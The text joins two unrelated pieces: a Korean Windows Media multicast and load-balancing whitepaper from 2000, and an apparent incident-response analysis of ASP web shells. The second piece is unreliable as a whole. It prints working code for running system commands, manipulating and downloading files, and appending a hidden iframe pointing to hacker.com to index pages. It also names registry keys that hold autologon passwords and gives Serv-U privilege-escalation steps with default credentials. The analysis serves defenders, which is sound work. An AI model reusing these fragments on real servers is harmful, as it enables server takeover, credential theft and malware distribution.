다음과 같은 로그에는 Load Simulator를 사용하여 실행한 테스트 결과의 해석에 도움이 되는 정보가 수록됩니다.
또한 Windows Media 성능 모니터에는 Simulator와 함께 사용할 수 있는 정보가 수록됩니다. Load Simulator에 대한 자세한 내용은 다음 웹 사이트에서 "Checking Server Performance with Microsoft Windows Media Load Simulator" 기사를 참조하십시오.
멀티캐스팅은 데이터를 사용자 그룹으로 전송하는 일대다 형식의 전송입니다. 멀티캐스팅은 파일이 마지막 홉까지 단일 데이터 스트림으로 전송되기 때문에 네트워크 대역폭이 적게 사용됩니다. 이 경우 개별 스트림은 경로의 끝에 있는 라우터에 의해 대상 스테이션으로 전송됩니다.
Windows Media Technologies가 사용하는 용어 중 특히 멀티캐스트 세션에 적용되는 용어가 있습니다. 멀티캐스트를 사용하는 방법과 멀티캐스트 세션 문제 해결 방법을 설명하기 전에 이들 용어를 설명할 것입니다.
Windows Media Technologies 멀티캐스트 용어의 이해멀티캐스트 전송을 설정할 때 사용되는 용어에는 스테이션, 프로그램 및 스트림의 3가지가 있습니다.
스테이션은 멀티캐스트 전송을 통한 컨텐트 배포에 사용되며 게시 지점은 유니캐스트 전송에 사용됩니다. 스테이션은 텔레비전 방송국과 비슷합니다. 스테이션은 프로그램이라고 하는 컨텐트를 배포하며 프로그램은 보통 몇 가지 스트림으로 구성됩니다. 예를 들어, 프로그램은 중간에 광고가 삽입된 비디오 클립을 사용할 수도 있습니다. 멀티캐스트를 사용하고 멀티캐스트 스테이션을 만드는 방법에 대한 자세한 내용은 Windows Media 관리자 도움말 파일을 참조하십시오.
스테이션의 정의스테이션은 .nsc 파일로 정의됩니다. 이 파일은 멀티캐스트 전송의 가입에 필요한 IP 주소, 포트 번호 및 필요한 CODEC과 같은 모든 정보가 수록된 구성 파일입니다. Windows Media Server는 멀티캐스트 스테이션을 구성할 때 입력된 정보에서 .nsc 파일을 만듭니다.
사용자는 프로그램이 시작할 때 멀티캐스트 전송에 꼭 가입할 필요가 없으므로 .nsc 파일이 필요합니다. 사용자는 언제라도 멀티캐스트 그룹의 구성원이 될 수 있습니다. 즉, Windows Media Player는 전송에 대한 정보가 수록된 헤더 패킷이 없어도 즉시 스트리밍 데이터를 받기 시작합니다. Windows Media Player는 .nsc 파일을 사용하여 이 정보를 가져옵니다.
보통 관리자는 그룹에 가입할 수 있는 사용자에게 전자 메일로 전송하거나 웹 사이트에 게시하여 이 파일을 사용하게 만듭니다. 즉, Windows Media Server가 파일을 만드는 경우에도 Windows Media Server는 이 파일을 배포하지 않습니다. 관리자는 .nsc 파일의 배포를 제어함으로써 권한이 없는 사용자가 전송을 수신하는 것을 방지할 수 있습니다. 예를 들어, 관리자는 웹 사이트에 파일을 게시하여 정보에 대한 액세스를 허가하기 전에 인증을 요구할 수 있습니다.
.nsc 파일은 인코더 구성이 들어 있는 .asd 파일의 이름을 포함할 수 있습니다. 템플릿에서 Windows Media 인코더 기본값을 사용하지 않았다면 멀티캐스트 스테이션을 만들 때 이 파일을 지정해야 합니다. 기본값을 변경했다면 .asd 파일을 저장하고 서버에 복사한 다음 멀티캐스트 전송을 구성할 때 이 파일을 지정합니다. 스트림 형식 정보 지정 대화 상자에서 이러한 작업을 수행합니다. Windows Media 관리자는 정보를 .nsc 파일에 저장합니다.
멀티캐스트 스테이션 구성이 절에서는 멀티캐스트 세션을 위한 스테이션 구성 과정을 설명합니다.
멀티캐스트 세션을 위한 스테이션의 정의
사용자 정보 로깅멀티캐스트를 사용하면 서버와 사용자 사이에 직접적인 통신이 없습니다. 따라서 수신하는 사용자와 특정 클라이언트에 대한 네트워크 연결의 품질에 대한 정보를 수집하기 어렵습니다. 이 문제를 해결하기 위해 Windows Media Player에는 멀티캐스트 전송을 위한 로깅 기능이 포함됩니다. 이들은 IIS Service에서 실행되는 Nsiislog.dll이라는 ISAPI DLL로서 구현됩니다. 아래의 단계대로 수행하여 로깅을 사용합니다. 기본값은 사용 안함입니다.
로깅 사용에 대한 자세한 내용은 Windows Media 관리자 도움말 파일을 참조하십시오.
보통 통계는 전송 품질, 컨텐트 정보 및 클라이언트 정보의 세 가지 범주에 속합니다. 전송 품질 통계의 예는 다음과 같습니다.
컨텐트 정보의 예에는 다음이 포함됩니다.
포함된 URL은 포함된 Windows Media Player가 들어 있는 웹 페이지의 URL입니다. 이 URL을 알면 컨텐트를 사용하는 사용자를 알 수 있습니다.
클라이언트 정보의 예에는 다음이 포함됩니다.
기타 멀티캐스트 사용멀티캐스트는 .asf 파일 이외의 파일 배포에 사용할 수 있습니다. 데이터의 단일 스트림을 다중 사용자에게 전송해야 할 경우에는 멀티캐스트를 대역폭 절약의 한 방법으로 고려해야 합니다. 이 경우 네트워크가 멀티캐스트를 지원할 수 있다고 가정합니다. 예를 들어, 네트워크가 단일 LAN으로 구성된 경우 또는 라우터와 같은 네트워크 장치가 멀티캐스트를 지원하는 경우가 그러합니다. 보통 Windows Media Technologies 멀티캐스트는 네트워크를 통해 Microsoft PowerPoint 프레젠테이션을 전송하는데 사용되지만 다른 종류의 파일이나 파일 디렉터리에도 사용할 수 있습니다. 멀티캐스트 파일 전송을 구성하려면 Windows Media 관리자가 표시하는 멀티캐스트 파일 전송 옵션을 선택합니다. 설정할 수 있는 매개 변수에는 다음을 포함하여 여러 가지가 있습니다.
자세한 내용은 Windows Media 관리자 도움말 파일을 참조하십시오.
멀티캐스트 전송 문제 해결멀티캐스트 세션의 문제 해결을 위한 전체 지침은 이 백서의 범위를 벗어나는 것이지만 이 절에 작업을 쉽게 할 수 있는 몇 가지 제안이 포함됩니다. 또한 이 백서에서는 설명하지 않았지만 멀티캐스트에서처럼 유니캐스트에도 비슷한 통계가 있습니다. 로깅 기능에 대한 자세한 내용은 Windows Media 관리자 도움말 파일을 참조하십시오.
파일 검사먼저 asx 및 .nsc 파일에 액세스할 수 있고 파일에 오류가 없는지 확인합니다. 이 파일이 없으면 클라이언트는 멀티캐스트에 가입할 수 없습니다. 인코더를 위한 기본 템플릿이 사용되지 않거나 변경된 값이 있으면 .asd 파일을 지정해야 한다는 것을 기억하십시오. 멀티캐스트를 구성한 후 인코더가 변경되었다면 이 파일을 다시 지정하여 .nsc 파일을 최신 상태로 유지해야 합니다. 멀티캐스트를 구성한 후 서버 구성이 변경된 경우 .nsc 파일을 다시 내보냅니다. 이렇게 하려면 Windows Media 관리자의 멀티캐스트 스테이션을 선택한 다음 내보내기를 선택합니다.
통계 검사전송 중에 Windows Media Player를 사용하여 통계를 검사합니다. 이 작업을 하려면 Windows Media Player에서 마우스 오른쪽 단추를 누르고 통계를 누릅니다. 그림 26은 예제 화면을 나타낸 것입니다.
그림 26 Windows Media Player 통계
프로토콜이 멀티캐스트로 설정되었는지 확인합니다. 복구된 패킷과 손실된 패킷을 검사하여 데이터가 손실되는지 확인합니다. 복구된 패킷 카운트가 증가한다면 Windows Media Player가 손실된 패킷을 다시 구성하고 있는 것입니다. 이것은 네트워크에 문제가 있다는 표시일 수 있습니다. 이들 통계는 유니캐스트 브로드캐스트에서도 사용할 수 있습니다.
멀티캐스트 세션을 구성할 때 로깅을 사용한다면 세션이 종료된 후에 Nsiislog.dll 로그를 사용하여 더 많은 정보를 얻을 수 있습니다. 문제가 있는 단일 세그먼트에 얼마나 많은 사용자가 있는지 등의 경향을 확인합니다.
IGMP 버전의 지속적인 추적여러 가지 버전의 Windows 운영 체제에서 클라이언트가 멀티캐스트 세션에 가입하기 위해 사용하는 여러 가지 버전의 인터넷 그룹 관리 프로토콜(IGMP)을 구현한다는 것에 주의하십시오. 아래의 표에 Windows 버전에 따른 IGMP 버전이 요약되어 있습니다.
문제 확인단일 LAN을 통해 멀티캐스팅하지 않는 한 대개 멀티캐스팅은 다중 서브넷과 라우터를 포함합니다. 서버가 네트워크를 통해 홉 단위로 상주하고 이동하는 세그먼트에서 시작하여 문제를 확인합니다. 또한 TTL(Time-To-Live) 값이 패킷이 통과해야 하는 각 홉을 통해 패킷을 얻을 수 있을 만큼 큰지 확인합니다. 기본적으로 TTL은 홉의 수와 같아야 합니다. 이 숫자가 너무 낮으면 패킷은 네트워크 가장자리에 도달하기 전에 무시됩니다. 기본값은 5입니다. 홉의 숫자를 설정하려면 서버 구성을 누른 다음 편집할 스테이션을 누릅니다. 그림 27과 같이 서버 구성 – 스테이션 편집 대화 상자가 열립니다.
그림 27 TTL 매개 변수 변경
TTL 항목을 더 큰 값으로 변경합니다.
마지막으로 네트워크의 일부 세그먼트에 대한 전송을 차단하고 있을 수 있는 방화벽이나 비 멀티캐스트 사용 장치를 찾습니다. 패킷이 통과해야 하는 라우터나 스위치가 멀티캐스트를 이해하지 못한다면 패킷이 손실됩니다. 또한 앞에서 설명한 것처럼 많은 방화벽은 멀티캐스트 전송에 사용되는 전송인 UDP 패킷을 통과시키지 않습니다.
네트워크 문제 조사에 사용할 수 있는 많은 다른 공급업체의 모니터링 도구가 있으며 Windows 2000 운영 체제에도 몇 가지 유틸리티가 있습니다. 여기서는 네트워크 모니터와 tracert 유틸리티의 두 가지 도구를 간략하게 설명할 것입니다.
네트워크 모니터System Management Server와 같이 사용할 수 있으며 Windows 2000 Server의 생략 버전인 네트워크 모니터를 사용하면 네트워크에서 패킷을 볼 수 있습니다. 네트워크 모니터를 액세스하려면 시작 메뉴에서 프로그램을 가리키고 관리 도구를 가리킨 다음 네트워크 모니터를 누릅니다.
네트워크 모니터는 그림 28과 같습니다.
그림 28 네트워크 모니터
네트워크 모니터는 캡처하는 호스트의 NIC를 promiscuous 모드로 만들어 회선에서 볼 수 있는 모든 프레임을 추적 도구로 전달합니다. 캡처 필터는 분석을 위해 특정 프레임만 저장되도록 정의할 수 있습니다. 원본과 대상 NIC 주소, 원본과 대상 프로토콜 주소 및 패턴 일치에 기반하여 이 필터를 구성할 수 있습니다. 캡처를 구하면 디스플레이 필터를 사용하여 문제의 원인을 좁혀나갈 수 있습니다. 디스플레이 필터를 사용하면 특정 프로토콜도 선택할 수 있습니다. 네트워크 모니터 사용에 대한 자세한 내용은 도움말 파일을 참조하십시오.
Tracert 유틸리티tracert 유틸리티는 원하는 대상 컴퓨터의 IP 주소로 패킷 그룹을 계속 보내 작동합니다. 예를 들어, 시스템에서 whitehouse.gov까지의 경로를 추적하려면 tracert whitehouse.gov를 입력합니다. 경로를 따른 각 라우터는 추적을 시작한 시스템으로 정보를 반환하여 패킷을 수신한 시스템의 IP 주소와 각 패킷의 왕복 시간(밀리초)을 사용자에게 보여줍니다. 추적이 완료되면 패킷이 원본에서 대상으로 이동하기 위해 필요한 홉 수와 각 홉에 걸리는 시간을 알 수 있습니다.
tracert 작동의 중요한 구성 요소는 패킷의 TTL(Time-To-Live) 값입니다. Tracert는 증가하는 TTL 값으로 세 패킷 그룹을 연속적으로 보냅니다. 경로를 따라 각 라우터는 TTL 값을 1씩 줄인 후에 경로를 따라 다음 라우터로 전달합니다. 첫 번째 패킷 그룹은 1의 TTL로 보내집니다. 첫 번째 홉의 라우터는 값을 0으로 줄여 패킷을 만료시키고 만료 정보를 원래 시스템으로 다시 전송합니다. 그 다음 두 번째 그룹은 만료 정보를 먼저 반환하지 않고 두 번째 라우터로 2의 TTL과 함께 보내집니다. 이 과정은 최대 TTL 값에 도달하거나 대상 컴퓨터가 패킷을 수신할 때까지 계속됩니다. tracert 유틸리티는 최대 30의 기본 TTL 값이 갖습니다. 즉, 처음 30개의 홉을 보고할 수 있습니다. -h 옵션을 사용하여 이 값을 늘릴 수 있습니다. 옵션 목록을 보려면 명령줄에서 tracert만 입력합니다.
그림 23은 tracert 세션의 예를 나타낸 것입니다.
그림 29 tracert 세션 예
다음은 경험에 따른 응답 시간입니다.
tracert에 대한 자세한 내용은 Windows 2000 도움말 파일을 참조하십시오.
로드 균형 조정은 처리 로드를 서버 배열을 통해 분산하므로 어떤 서버에도 로드가 집중되지 않습니다. 또한 장애 조치(failover) 기능도 제공하여 오류가 발생한 서버의 로드를 제 기능을 발휘하는 서버로 전환할 수 있습니다. 로드 균형 조정을 구현하는 방법에는 다음과 같은 몇 가지가 있습니다.
DNS 라운드 로빈DNS 라운드 로빈 방법은 단일 IP 주소가 아닌 IP 주소 전체 목록으로 DNS 쿼리에 응답하여 작동합니다. 쿼리를 수행하는 Windows Media Player는 보통 첫째 IP 주소를 선택하고 연결 시간에 대해 그 서버를 참조합니다. 동일한 IP 주소가 반복하여 선택되지 않도록 목록이 순환하여 매번 목록의 상단에 다른 IP 주소가 나타나게 만듭니다.
예를 들어, 이름과 IP 주소가 다음과 같은 세 개의 서버가 있다고 가정합니다.
클라이언트 요청이 라운드 로빈을 통해 순환되도록 서버를 설정하면 다중 A 레코드를 사용합니다. 이들 DNS 레코드는 호스트를 IP 주소로 매핑합니다. 이 예에서 사이트에 액세스하는 모든 클라이언트가 example.microsoft.com이라는 이름을 사용하길 원하지만 그러한 요청을 3개의 서버에서 공유하는 상황을 가정해 봅니다. A 레코드를 다음과 같이 설정합니다.
앞에 붙은 슬래시가 없는 디렉터리 이름이 대개 현재 디렉터리에 상대적으로 해석되는 것처럼 뒤에 붙은 마침표가 없는 이름은 때로 루트 이외의 도메인에 상대적으로 해석되기 때문에 각 A 레코드에서 example.microsoft.com 이름 끝에는 마침표가 필수적입니다. 끝에 붙는 마침표는 도메인 이름이 절대값이라는 것을 나타냅니다. 즉, 루트에 상대적으로 작성된 것을 의미합니다. 이 예에서 TTL 필드는 이름 서버가 60초 후에 이름 캐시에서 이들 항목을 제거하도록 지시합니다. 이로서 라운드 로빈을 지원하지 않는 중간 이름 서버에서 레코드가 오랫동안 캐시되지 않도록 보장할 수 있습니다.
DNS 라운드 로빈의 이점과 제한DNS 라운드 로빈의 주요 이점은 단순하고 자유롭다는 것입니다. 소수의 레코드를 추가하여 실제로 요청이 풀의 모든 호스트 사이에서 순환할 때 서버의 풀이 단일 서버로 작동하는 것처럼 보이게 할 수 있습니다. 첫 번째 제한은 라운드 로빈이 실제로는 로드 공유 기술도 아니고 로드 균형 조정 기술도 아니라는 것입니다. 실제 로드 균형 조정 솔루션은 서버에서 로드를 측정하고 클라이언트 요청을 보낼 위치를 결정하여 작업을 균등하게 분산합니다. 라운드 로빈은 어떤 방식으로도 서버 로드를 측정하지 않습니다. 서버의 성능에 관계 없이 단순히 클라이언트 요청을 다중 호스트 사이에서 대체할 뿐입니다. 하나 이상의 호스트에는 다른 호스트보다 많은 작동을 하려는 경향이 있습니다. 두 번째 제한은 서버 중 하나가 가동 중단되어도 클라이언트의 요청이 이 IP 주소로 전송되어 이들 클라이언트가 적절한 응답을 수신하지 못한다는 것입니다.
Windows 로드 균형 조정 서비스Windows 로드 균형 조정 서비스(WLBS)를 사용하면 들어오는 IP 소통량을 동적으로 여러 서버에 분산시킬 수 있습니다. WLBS는 클라이언트 요청을 호스트에 투명하게 분산시키며 클라이언트는 하나 이상의 가상 IP 주소를 사용하여 풀에 액세스할 수 있습니다. 클라이언트의 관점에서 보면 풀은 이들 IP 주소에 응답하는 단일 서버로 보입니다. WLBS 또는 MSCS(Microsoft 클러스터 서비스) 중 어느 것을 Windows Media와 함께 사용해야 하는지 묻는 고객이 많습니다. 답은 WLBS를 사용하라는 것입니다. 아래에 설명하는 MSCS는 Microsoft SQL Server와 같이 데이터를 많이 사용하는 응용 프로그램입니다.
WLBS 서버는 다음과 같은 기능을 제공하기 위해 서로 통신합니다.
단일 선호도, 선호도 없음 또는 클래스 C를 사용하기 위해 필터링한 다중 서버에서 로드 균형 조정을 위해 WLBS를 구성할 수 있습니다. 상태 정보가 없는 응용 프로그램인 Windows Media Server 서버에 가장 좋은 방법은 단일 선호도입니다. 단일 선호도로 구성하면 WLBS 가상 IP 주소를 사용하여 들어오는 모든 패킷을 WLBS 클러스트의 특정 노드에 고정할 수 있습니다. 클러스터 IP 주소를 사용하여 클라이언트에서 수신하는 모든 패킷이 그 노드에 연결됩니다.
MSCS(Microsoft 클러스터 서비스)MSCS는 SQL Server와 Microsoft Exchange Server와 같은 데이터 집중형 응용 프로그램에 사용됩니다. Windows Media 서버의 로드 균형 조정용으로 사용하면 안됩니다. 그러나 WLBS와 MSCS 기술을 같이 사용하여 전체 사이트에 매우 높은 확장성과 가용성을 제공할 수 있습니다. 예를 들어, 데이터베이스 기반 사이트는 WLBS 클러스터 HTTP와 Windows Media 기반 서버가 액세스하는 MSCS 클러스터에 데이터베이스를 호스팅할 수 있습니다. 이 구성은 데이터베이스 수준에서 높은 수준의 가용성을 제공하며 웹/HTTP 수준에서 높은 수준의 확장성과 가용성을 모두 제공합니다.
Windows Media Player 실행 중 발생할 수 있는 네트워크 오류 메시지는 RFC 2038에서 정의한 표준 HTTP 1.1 상태 모드입니다. 다음을 참조하십시오.
ftp://ftp.isi.edu/in-notes/rfc2068.txt
가장 흔하게 볼 수 있는 코드는 5xx 범위에 있으며 서버에 오류가 발생했거나 요청을 처리할 수 없다는 신호를 보내는 경우를 나타내는 서버 오류 메시지입니다. 이들 코드는 아래와 같습니다.
Windows Media Technologies, 소프트웨어 다운로드에 대한 자세한 정보와 컨텐트 작성 및 배포에 대한 기사들에 대한 링크는 다음의 공식적인 Windows Media Technologies 웹 페이지를 참조하십시오.
http://www.microsoft.com/korea/windows/windowsmedia/default.asp
특정 기술 관련 질문에 대한 답은 다음의 Microsoft 기술 자료 사이트를 참조하십시오. 위치는 다음과 같습니다.
http://www.microsoft.com/support/kb.htm?RLD=32
또한 사용자가 가입할 수 있는 다음과 같은 몇 가지 공개 뉴스 그룹도 있습니다.
© 2000 Microsoft Corporation. All rights reserved.
이 문서에 포함된 정보는 문서를 발행할 때 논의된 문제들에 대한 Microsoft Corporation의 당시 관점을 나타냅니다. Microsoft는 변화하는 시장 환경에 대처해야 하므로 이를 Microsoft 측의 책임으로 해석해서는 안 되며 발행일 이후 소개된 어떠한 정보에 대해서도 Microsoft는 그 정확성을 보장하지 않습니다.
이 백서는 정보 제공 목적으로만 제공됩니다. Microsoft는 이 문서에서 명시적이든 묵시적이든 막론하고 여하한 보증도 하지 않습니다.
해당 저작권법을 준수하는 것은 사용자의 책임입니다. 저작권에서의 권리와는 별도로, 이 설명서의 어떠한 부분도 Microsoft의 명시적인 서면 승인 없이는 어떠한 형식이나 수단(전기적, 기계적, 복사기에 의한 복사, 디스크 복사 또는 다른 방법) 또는 목적으로도 복제되거나, 검색 시스템에 저장 또는 도입되거나, 전송될 수 없습니다.
Microsoft가 이 설명서 본안에 관련된 특허권, 상표권, 저작권, 또는 기타 지적 소유권 등을 보유할 수도 있습니다. 서면 사용권 계약에 따라 마이크로소프트로부터 귀하에게 명시적으로 제공된 권리 이외에, 이 설명서의 제공은 귀하에게 이러한 특허권, 상표권, 저작권, 또는 기타 지적 소유권 등에 대한 어떠한 사용권도 허여하지 않습니다.
Microsoft, PowerPoint, Windows, Windows 로고, Windows Media 및 Windows NT는 미국, 대한민국, 및/또는 기타 국가에서의 Microsoft Corporation의 등록 상표 또는 상표입니다.
여기에 인용된 실제 회사와 제품 이름은 해당 소유자의 상표일 수 있습니다.
Microsoft Corporation • One Microsoft Way • Redmond, WA 98052-6399 • USA
01/00
|
1. 개 요
가. 웹쉘이란?
웹쉘이란 공격자가 원격에서 대상 웹서버에 명령을 수행할 수 있도록 작성한 웹 스크립트 (asp, jsp, php, cgi) 파일이다. 이때 zip, jpg, doc와 같은 데이터 파일종류 이외에 악의적으로 제작된 스크립트 파일인 웹쉘을 업로드하여 웹 서버를 해킹하는 사고가 빈번히 발생하고 있다. 최근에는 파일 업로드뿐만 아니라 SQL Injection과 같은 웹 취약점을 공격한 후 지속적으로 피해시스템을 관리할 목적으로 웹쉘을 생성 한다.
공격자는 웹쉘을 대상 서버에 업로드한 후 웹을 이용하여 시스템 명령어를 수행하므로 네트워크 방화벽 영향을 받지 않고 서버를 제어할 수 있다. 웹쉘은 웹페이지 소스코드 열람, 악성스크립트 (iframe 등) 삽입, 파일 업로드, 서버 및 데이터베이스 자료 유출 등의 다양한 공격이 가능하다.
최근 웹쉘은 탐지를 어렵게 하기 위해 웹쉘의 일부분만을 피해시스템에 업로드 하는 등 그 유형이 나날이 발전하고 있다.
나. 웹쉘의 위험성
2007년도 인터넷침해사고대응지원센터(www.krcert.or.kr)에서 한 해 동안 분석했던 피해 웹서버 중 웹쉘이 발견된 웹서버는 총 91%의 분포를 보였다. 이것은 공격자들이 취약점을 공격 한 후 웹쉘을 업로드하여 시스템을 통제하기가 수월하다보니 사용 빈도가 높은 것을 확인할 수 있다.
웹 취약점을 통해 피해시스템에 접근한 공격자는 방화벽에서 접근을 허용하는 HTTP (80/tcp) 서비스를 통해 피해시스템을 제어 하므로 웹쉘을 차단하기가 쉽지 않다.
피해시스템에서 수집된 ASP 웹쉘 샘플 한 개를 http://www.virustotal.com 사이트에서 각 바이러스 백신 엔진 탐지결과를 확인하였다. 아래 그림과 같이 많은 국내외 백신사에서 탐지 못하고 있으며 공격자들은 스크립트 웹쉘들을 빈번히 변경시켜 사용하기 때문에 백신들로서는 탐지하기가 쉽지 않다.
다. 웹쉘 최신 동향
o 인증된 공격자만 사용가능하도록 패스워드를 입력받거나, 특정 세션 값으로 세팅해야만 기능 들을 사용할 수 있는 웹쉘들이 많다.
o 최근 각 백신 사, 관리자들에 의해 웹쉘 탐지가 늘어 공격자들은 여러 기능을 하는 웹쉘 코드를 각 기능별로 웹쉘들을 분리하여 사용하고 있다. 그 중 파일 생성 기능, DB 쿼리 기능을 하는 웹쉘 파일들이 빈번하게 발견되고 있다.
o ASP 스크립트의 경우 웹 소스를 보호하기 위해 인코딩하는 Script Encoder를 제공하고 있다.
이러한 인코더를 악용하여 웹쉘을 인코딩하고 백신탐지를 우회하고 있다.
o 공격자들은 웹쉘이 업로드 되어있는 피해시스템 웹쉘 URL을 관리하기 위해 관리프로그램들을 사용하고 있다. 중국 해커들은 아래와 같은 관리프로그램을 개발하여 자신들이 장악했던 피해 사이트들을 체계적으로 관리하고 있다.
최근 국내에서 발생하고 있는 피해 시스템 웹서버 대부분은 윈도우가 차지하고 있다. 윈도우, IIS, ASP 환경의 사이트들이 특히 SQL Injection 공격에 취약할 경우 이러한 취약점을 이용하는 자동화 공격 도구들로 인해 쉽게 악성코드 유포지, 경유지로 악용되고 있다. 이러한 윈도우 피해시스템을 공격하는데 많이 사용되는 ASP 웹쉘의 기능과 동향에 대해 상세히 살펴보도록 하겠다.
가. 각 기능별 웹쉘 분석
■ 명령어 및 각종 어플리케이션 실행
ASP 웹쉘에서는 윈도우에서 시스템 명령어나 외부 프로그램을 실행하기 위해 Wscript.Shell, Shell.Application 오브젝트를 이용한다. Wscript.Shell 오브젝트는 메소드 Run, Exec를 이용하여 시스템 명령어 및 외부 프로그램을 실행할 수 있다.
o Wscript.Shell
- Run (cmd, 0, True)
- Exec (cmd)
Set WshShell = Server.CreateObject (“WScript.Shell”) Call WshShell.Run (cmd, 0, True) Set WshShell = CreateObject (“WScript.Shell”) Set oExec = WshShell.Exec (cmd) |
시스템 명령어 또는 프로그램을 실행할 수 있는 또 다른 방법은 Shell.Application 오브젝트의
ShellExecute 메소드를 이용하는 것이다.
o Shell.Application
- Shellexecute“ Application”,“ Argument”,“ Path”,“ ”, 1
set objShell = CreateObject(“Shell.Application”) objShell.ShellExecute “notepad.exe”, “ ”, “ ”, “open”, 1 |
■ 파일 조작
파일관련 조작은 Scripting.FileSystemObject, Shell.Application, Adodb.Stream 오브젝트를 사용한다. 이 중에서 Scripting.FileSystemObject, Adodb.Stream 을 이용한 파일 조작 방법에 대해 살펴보도록 하겠다.
o Scripting.FileSystemObject
- 파일 리스팅
Set fso = CreateObject(“Scripting.FileSystemObject”) Set f = fso.GetFolder(folderpath) Set fp = f.Files For Each f1 in fp s = s & f1.name Next |
- 파일 보기
fso는 Scripting.FileSystemObject로 생성한 오브젝트이다.
Set f = fso.OpenTextFile(“c:\testfile.txt”) ra = f.ReadAll |
- 파일 생성 및 수정
Set MyFile = fso.CreateTextFile(“c:\testfile.txt”, True) MyFile.Write Contents |
- 파일 이동 및 삭제
fso.CopyFile Path1, Path2 fso.CopyFolder Path1, Path2 fso.DeleteFile Path fso.DeleteFolder Path |
■ 파일 다운로드
o Adodb.Stream
Set stream = Server.CreateObject”Adodb.Stream”) stream.Open stream.Type = 1 stream.LoadFromFile(Path) Response.AddHeader “Content-Disposition”, “attachment; filename=” & FileName Response.AddHeader “Content-Length”, stream.Size Response.Charset = “UTF-8” Response.ContentType = “application/octet-stream” Response.BinaryWrite stream.Read Response.Flush stream.Close Set stream = Nothing |
■ 파일 업로드
Adodb.Stream 오브젝트를 이용하여 파일을 업로드 한다. 관련 메소드들은 아래와 같다.
※ 구현 예제 코드 생략
o Adodb.Stream
- Write
- Read
- SaveToFile
■ 웹페이지들에 악성스크립트 삽입 기능
웹쉘에서는 악성코드를 유포하기 위해 각 html 파일들이나 스크립트 파일에 악성 스크립트 (iframe)를 삽입하는 기능이 있다.
o 정규표현식으로 아래와 같이 악성스크립트를 삽입할 파일명을 정의한다. default, index main 등 홈페이지 메인페이지 이름을 갖는 html 파일들이나 스크립트 파일들을 정규표현 식으로 찾는다.
- (\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b
o 그리고 아래와 같은 iframe 악성 스크립트 코드를 삽입한다.
- <IFRAME height=0 src="http://hacker.com/m.htm" width=0></IFRAME>
◈ 정규 표현식으로 파일이름을 검사하여 메인 페이지를 찾는다. Set regEx=New RegExp regEx.Pattern=”(\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b” regEx.IgnoreCase=True retVal=regEx.Test(path) ◈ 위 정규 표현식으로 검색된 파일의 끝에 iframe 코드를 삽입한다. Set fs=Server.createObject(“Scripting.FileSystemObject”) Set f=fs.GetFile(path) Set f_addcode=f.OpenAsTextStream(8,-2) // 포인터는 파일 끝으로 이동하고 쓰기 모드로 연다 f_addcode.Write “<IFRAME src="http://hacker.com/m.htm" width=0 height=0></IFRAME>” f_addcode.Close |
■ 데이터베이스 열람 및 조작
데이터베이스에 접속하기 위해서는 Adodb.Connection 오브젝트를 사용하고 아래와 같은 메소드를 이용하여 데이터베이스 연결 및 SQL 쿼리 문들을 실행할 수 있다.
Set Con = Server.CreateObject(“Adodb.Connection”) Con.Open “Provider=SQLOLEDB;Data Source=SERVER_NAME;database=DB_NAME;uid=UID;pwd=PWD” SQL = “SELECT * FROM table” Set RS = Con.Execute(SQL) |
■ 레지스트리 조작
윈도우는 모든 시스템 구성 정보나 사용자 설정 정보를 레지스트리에 저장한다. 웹쉘에서는 아래와 같은 Wscript.Shell 오브젝트와 관련 메소드를 이용하여 레지스트리 확인 및 조작 한다.
※ 구현 예제 코드 생략
o Wscript.Shell
- RegRead
- RegWrite
- RegDelete
웹쉘에서 참조하는 레지스트리 값들은 아래와 같다.
- 터미널 서비스 포트, PortNumber 키 값 변경 HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\ - 윈도우 자동으로 로그인 키 값(autoadminlogon)이 설정되어 있는 경우 디폴트 사용자 이름 (DefaultUserName)과 패스워드(DefaultPassword)를 확인 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ - 컴퓨터 이름 확인 HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName - 익명 사용자 접속 여부 및 공유 정보 확인 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\AutoShareServer HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\EnableSha redNetDrives - 보안 필터링 및 포워딩 여부 확인 HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\IPEnableRouter - 네트워크 카드 정보 확인 HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{8A465128 -8E99-4B0C-AFF3-1348DC55EB2E}\DefaultGateway HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind |
■ 시스템 정보 확인
웹쉘에서 GetObject 메소드를 이용해 서비스와 사용자 장보를 확인 한다.
o 서비스 확인
Set ComputerObj = GetObject(“WinNT://MYCOMPUTER”) ComputerObj.Filter = Array(“Service”) For Each Service in ComputerObj WScript.Echo “Service display name = “ & Service.DisplayName WScript.Echo “Service account name = “ & Service.ServiceAccountName WScript.Echo “Service executable = “ & Service.Path WScript.Echo “Current status = “ & Service.Status Next |
o 사용자 정보확인
Set objComputer = GetObject(“WinNT://.”) objComputer.Filter = Array(“User”) For Each objUser in objComputer WScript.Echo objUser.Name Next |
■ 어플리케이션 취약점을 통한 로컬 권한상승
웹에서 실행되는 모든 파일들은 기본적으로 인터넷 게스트 계정으로 으로 실행된다. 웹쉘은 이러한 제한된 권한을 관리자 권한으로 상승시키기 위해 취약점 있는 Serv-U 프로그램을 이용한다.
Serv-U 3.x ~ 5.x는 로컬 권한 상승 취약점이 있으며 이를 이용하여 새로운 관리자 계정을 생성할 수 있다. 취약점을 공격하는 과정은 아래와 같다.
o Serv-U 3.x ~ 5.x 버전의 ServUDaemon.exe 다운로드 및 실행 (TzoLibr.dll 필요)
o Serv-U 디폴트 아이피/포트(127.0.0.1/43958) 로 접속 후
o Serv-U 디폴트 관리 아이디/패스워드로 로그인
- USER LocalAdministrator (디폴트 아이디)
- PASS #l@$ak#.lk;0@P (디폴트 패스워드)
o Serv-U에 신규 도메인 생성
o Serv-U 명령어 실행에 필요한 Serv-U 사용자 추가
o “SITE EXEC“ Serv-U 내부 스크립트를 통한 시스템 명령어 수행
